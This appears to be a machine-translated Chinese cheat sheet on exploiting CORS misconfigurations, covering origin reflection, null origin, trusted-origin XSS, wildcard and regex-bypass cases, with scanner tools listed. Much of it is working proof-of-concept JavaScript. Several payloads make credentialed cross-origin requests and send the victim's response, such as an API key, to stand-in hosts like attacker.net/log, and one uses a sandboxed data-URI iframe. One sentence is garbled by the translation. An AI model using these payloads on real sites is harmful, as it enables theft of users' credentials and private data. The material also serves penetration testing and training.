CORS配置错误


文档摘要

CORS 配置错误 某个 API 域名存在全站范围的 CORS 配置错误。这使得攻击者能够代表用户发起跨域请求,因为应用程序未对 Origin 头进行白名单限制,并且设置了 ,这意味着我们可以使用受害者的凭据从攻击者的站点发起请求。 概述 工具 要求 方法论 Origin 反射 空 Origin 受信 Origin 上的 XSS 无凭据的通配符 Origin 扩展 Origin 实验环境 参考文献 工具 s0md3v/Corsy - CORS 配置错误扫描器 chenjj/CORScanner - 快速的 CORS 配置错误漏洞扫描器 @honoki/PostMessage - POC 构建工具 trufflesecurity/of-cors - 利用内部网络中的 CORS 配置错误

CORS 配置错误

某个 API 域名存在全站范围的 CORS 配置错误。这使得攻击者能够代表用户发起跨域请求,因为应用程序未对 Origin 头进行白名单限制,并且设置了 Access-Control-Allow-Credentials: true,这意味着我们可以使用受害者的凭据从攻击者的站点发起请求。

概述

工具

要求

  • BURP HEADER> Origin: https://evil.com
  • VICTIM HEADER> Access-Control-Allow-Credential: true
  • VICTIM HEADER> Access-Control-Allow-Origin: https://evil.com OR Access-Control-Allow-Origin: null

方法论

通常,你需要瞄准某个 API 端点。使用以下有效载荷来利用目标上的 CORS 配置错误 https://victim.example.com/endpoint

Origin 反射

易受攻击的实现

GET /endpoint HTTP/1.1 Host: victim.example.com Origin: https://evil.com Cookie: sessionid=... HTTP/1.1 200 OK Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true {"[private API key]"}

概念验证

此 PoC 要求相应的 JS 脚本托管在 evil.com 上。

var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://victim.example.com/endpoint',true); req.withCredentials = true; req.send(); function reqListener() { location='//attacker.net/log?key='+this.responseText; };

或者

<html> <body> <h2>CORS PoC</h2> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhr.open("GET", "https://victim.example.com/endpoint", true); xhr.withCredentials = true; xhr.send(); } </script> </body> </html>

空 Origin

易受攻击的实现

服务器可能不会反射完整的 Origin header but
that the null,而是允许空 Origin。服务器响应中可能如下所示:

GET /endpoint HTTP/1.1 Host: victim.example.com Origin: null Cookie: sessionid=... HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true {"[private API key]"}

概念验证

可以通过将攻击代码放入 iframe 中并使用 data URI 方案来利用这一点。如果使用 data URI 方案,浏览器将在请求中使用 null Origin:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://victim.example.com/endpoint',true); req.withCredentials = true; req.send(); function reqListener() { location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText); }; </script>"></iframe>

受信 Origin 上的 XSS

如果应用程序实现了严格的允许 Origin 白名单,上述漏洞利用代码将不起作用。但是,如果你在受信 Origin 上拥有 XSS,就可以注入上述漏洞利用代码,从而再次利用 CORS。

https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>

无凭据的通配符 Origin

如果服务器以通配符 Origin * 进行响应,浏览器绝不会发送 Cookie。不过,如果服务器不需要身份验证,仍然可以访问服务器上的数据。这种情况可能发生在无法从 Internet 访问的内部服务器上。攻击者的网站随后可以 pivot 到内部网络,并在无需身份验证的情况下访问服务器的数据。

* is the only wildcard origin https://*.example.com is not valid

易受攻击的实现

GET /endpoint HTTP/1.1 Host: api.internal.example.com Origin: https://evil.com HTTP/1.1 200 OK Access-Control-Allow-Origin: * {"[private API key]"}

概念验证

var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://api.internal.example.com/endpoint',true); req.send(); function reqListener() { location='//attacker.net/log?key='+this.responseText; };

扩展 Origin

有时,原始 Origin 的某些扩展形式在服务器端并未被过滤。这可能是由于使用了实现不当的正则表达式来验证 Origin 头所致。

易受攻击的实现(示例 1)

在此场景中,任何插入到 example.com 前面的前缀都会被服务器接受。

GET /endpoint HTTP/1.1 Host: api.example.com Origin: https://evilexample.com HTTP/1.1 200 OK Access-Control-Allow-Origin: https://evilexample.com Access-Control-Allow-Credentials: true {"[private API key]"}

概念验证(示例 1)

此 PoC 要求相应的 JS 脚本托管在 evilexample.com 上。

var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://api.example.com/endpoint',true); req.withCredentials = true; req.send(); function reqListener() { location='//attacker.net/log?key='+this.responseText; };

易受攻击的实现(示例 2)

在此场景中,服务器使用了一个正则表达式,其中点未被正确转义。例如:^api.example.com$ instead of ^api\.example.com$。因此,点可以被任何字母替换,从而允许来自第三方域的访问。

GET /endpoint HTTP/1.1 Host: api.example.com Origin: https://apiiexample.com HTTP/1.1 200 OK Access-Control-Allow-Origin: https://apiiexample.com Access-Control-Allow-Credentials: true {"[private API key]"}

概念验证(示例 2)

此 PoC 要求相应的 JS 脚本托管在 apiiexample.com 上。

var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://api.example.com/endpoint',true); req.withCredentials = true; req.send(); function reqListener() { location='//attacker.net/log?key='+this.responseText; };

实验环境

参考文献

免责声明
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。以原始语言版本为准,其应被视为权威来源。对于关键信息,建议采用专业的人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。


发布者: 作者: 转发
评论区 (0)
U